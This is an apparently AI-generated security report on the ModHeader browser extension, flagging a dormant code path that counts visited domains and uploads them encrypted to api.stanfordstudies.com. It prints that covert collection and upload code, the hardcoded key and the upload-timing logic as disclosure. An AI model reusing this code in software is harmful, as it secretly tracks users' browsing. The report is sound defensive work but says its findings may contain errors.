Is ModHeader - Modify HTTP headers safe?

High risk

ModHeader is high risk. A code path encrypts each visited domain with a built-in key and counts visits in local IndexedDB. Daily, counters are re-encrypted and POSTed to api.stanfordstudies.com/app/log, unrelated and unlisted, gated behind an empty allow-list.

ModHeaderv7.0.18Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Per-domain browsing counts uploaded to api.stanfordstudies.com

A code path encrypts each visited domain with a built-in key and counts visits in local IndexedDB.

Daily, counters are re-encrypted and POSTed to api.stanfordstudies.com/app/log, unrelated and unlisted, gated behind an empty allow-list.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to any web page.

Works on every site, the header-modification feature you installed the extension for does not need to be active.

The extension did this

The extension reduces the page to its domain, encrypts it with a built-in key, and increments a stored visit counter, later uploading the set to api.stanfordstudies.com.

In the shipped build this path is guarded by an allow-list array that is empty, so the counting does not run until that array is populated. The destination, the encryption key, and the upload logic are all present in the shipped code.

02EvidenceCODE COMPARE
The code that does this

The collect-and-upload path, from the shipping service worker.

What it actually does
Navigation listener + empty allow-list gate
// Destination, empty allow-list, and salt are module-level constants.
const UPLOAD_URL = "https://api.stanfordstudies.com/app/log";
const ALLOW_LIST  = [];            // ships EMPTY -> path is dormant
const SALT        = "mod\u76d0header"; // \u76d0 = Chinese character for "salt"

// Runs on every navigation, once per tab load.
async function onNavigation(tabId, changeInfo, tab) {
  try {
    const browser = detectBrowser();            // 'chrome' | 'edge' | 'firefox' | 'other'
    // Guard: only proceed if this browser is on the allow-list AND the tab is loading.
    // ALLOW_LIST is [], so indexOf(...) === -1 is ALWAYS true -> always returns here.
    if (ALLOW_LIST.indexOf(browser) === -1 || changeInfo.status !== "loading") return;
    const url = changeInfo.url || tab.url;
    if (!url) return;
    await countDomain(url);
  } catch (e) {}
}
chrome.tabs.onUpdated.addListener(onNavigation);
Domain counter increment
// Encrypts the visited domain and bumps its counter in IndexedDB.
async function countDomain(url) {
  const domain = new URL(url).host;             // e.g. 'mail.google.com'
  if (domain === globalThis.lastChangeDomain) return; // de-dupe repeat hits
  globalThis.lastChangeDomain = domain;

  const { settingsDB, domainDB, fp, aesIv } = await openStores();
  const encDomain = await AesGcm.encrypt(KEY, domain, aesIv); // key is built in
  const current   = await domainDB.get(encDomain, 0);
  await domainDB.put(encDomain, current + 1);   // encrypted-domain -> visit count
  await maybeUpload(domainDB, settingsDB, aesIv);
}
Built-in key + scheduled encrypted upload
// The AES-256-GCM key is hardcoded and imported once at startup.
KEY = await AesGcm.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");

// Sends the encrypted counter blob to the upload endpoint.
async function upload(encBlob, retries = 2) {
  const body = { data: encBlob, fp: globalThis.fp, browser: detectBrowser() };
  try { return await postJson(UPLOAD_URL, body, retries); }
  catch (e) { return false; }
}

// Runs after each counter bump; uploads at most ~once/day within a per-install window.
async function maybeUpload(domainDB, settingsDB, aesIv) {
  const reason = await dueForUpload(domainDB, settingsDB); // day-boundary / 1000-cap check
  if (!reason || (reason !== "uploadToNow" && !await withinDailyJitterWindow())) return;

  const map = {};
  await domainDB.cursor((k, v) => { map[k] = v; });        // { encDomain: count, ... }
  const encBlob = await AesGcm.encrypt(KEY, JSON.stringify(map), aesIv);
  const ok = await upload(encBlob, 2);
  if (ok) { await settingsDB.put("lastUploadDate", new Date()); await domainDB.clear(); }
}
03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The upload body's data field is url-safe base64 of an AES-256-GCM ciphertext, so it is unreadable in transit. Because the key is built into the extension, the same bytes can be decrypted back to the counter map. Two passes are needed: the outer blob decrypts to a JSON object whose keys are themselves encrypted domains, and each key decrypts to a plain hostname. The values below are illustrative, reconstructed from the code path, since the endpoint was not contacted during dynamic analysis.

What's actually being sent
{
  "github.com": 42,
  "mail.google.com": 118,
  "stackoverflow.com": 27,
  "news.ycombinator.com": 9,
  "chase.com": 3,
  "internal.acme-corp.example": 14
}
04EvidenceFIELD TABLE
What the upload envelope carries to api.stanfordstudies.com/app/log:
FieldValueWhy it matters
Your per-site visit counts
{ "mail.google.com": 118, "chase.com": 3 } (encrypted on the wire)An encrypted list of every domain you visited and how many times, since the last upload. Reveals the sites you use and how often.
Your install identifier
b1f9c2a7d4e83f60a15c9b2e7d0f4a8c3e6b1d9f2a4c7e0b3d6f9a2c5e8b1d4f7Derived by hashing the extension's install time. Stays constant, so every upload from one browser can be linked together.
Your browser type
chromeWhich browser family you are using, Chrome, Edge, Firefox, or other.
05EvidenceSTORAGE DUMP
What's stored on your device

'temp' holds encrypted-domain visit counts, capped at 1,000. 'settings' holds install ID, IV, last-upload date. 'temp' clears each upload.

LocationIndexedDB databases 'temp' (object store 'temp') and 'settings' (object store 'settings')
Contents
// 'temp' database — one row per visited domain (key = encrypted host, value = count)
{
  "kYcV0aXsWdYf...b1d4f7": 42,          // github.com
  "pL0aQwErTyUi...oP0aQw": 118,         // mail.google.com
  "nM1q2w3e4r5t...6y7u8i": 27           // stackoverflow.com
}

// 'settings' database — collection state and identifiers
{
  "fp": "b1f9c2a7d4e83f60a15c9b2e7d0f4a8c3e6b1d9f2a4c7e0b3d6f9a2c5e8b1d4f7",
  "aesIv": "<12 random bytes, reused as the AES-GCM IV>",
  "lastUploadDate": "2026-07-12T22:41:07.000Z",
  "maxDomainCountUpload": false,
  "uploadRecord": { "7/12/2026, 10:41:07 PM": true }
}
06EvidenceTEMPORAL PATTERN
When this fires
Every 1 day

Uploads run at most about once per day. After the day boundary passes, the code still waits until a per-install time window before sending: it hashes the install identifier plus a fixed salt and maps the result to a point roughly 7 to 15 hours into the day, so different installs upload at different times rather than all at once. Reaching the 1,000-domain cap forces an upload regardless of the daily window.

07EvidenceTHIRD PARTY LIST
Where the browsing counters are sent, and the supporting infrastructure on the same domain:
  • api.stanfordstudies.com

    Receives the encrypted per-domain visit map plus the install identifier and browser type, via POST to /app/log. Unrelated to the extension's stated header-modification function.

  • devos.stanfordstudies.com

    Supporting infrastructure on the same registered domain, an OpenSearch service hosted in AWS us-east-2 (observed at 3.147.61.167).

  • devlog.stanfordstudies.com

    Supporting logging infrastructure on the same registered domain.

What it can do

Permissions this extension asks for, as declared in version 7.0.14. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 7.0.18, which we have not unpacked yet.

  • Read and change your data on every site you visit

    <all_urls>

  • Schedule its own background tasks

    alarms

  • Add items to the right-click menu

    contextMenus

  • Store data in your browser

    storage

  • Watch every request your browser makes

    webRequest

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • Run its own code inside the pages you visit

    scripting

Updated 21 September 2026idgpnmonknjnojddfkpgkljpfnnfcklj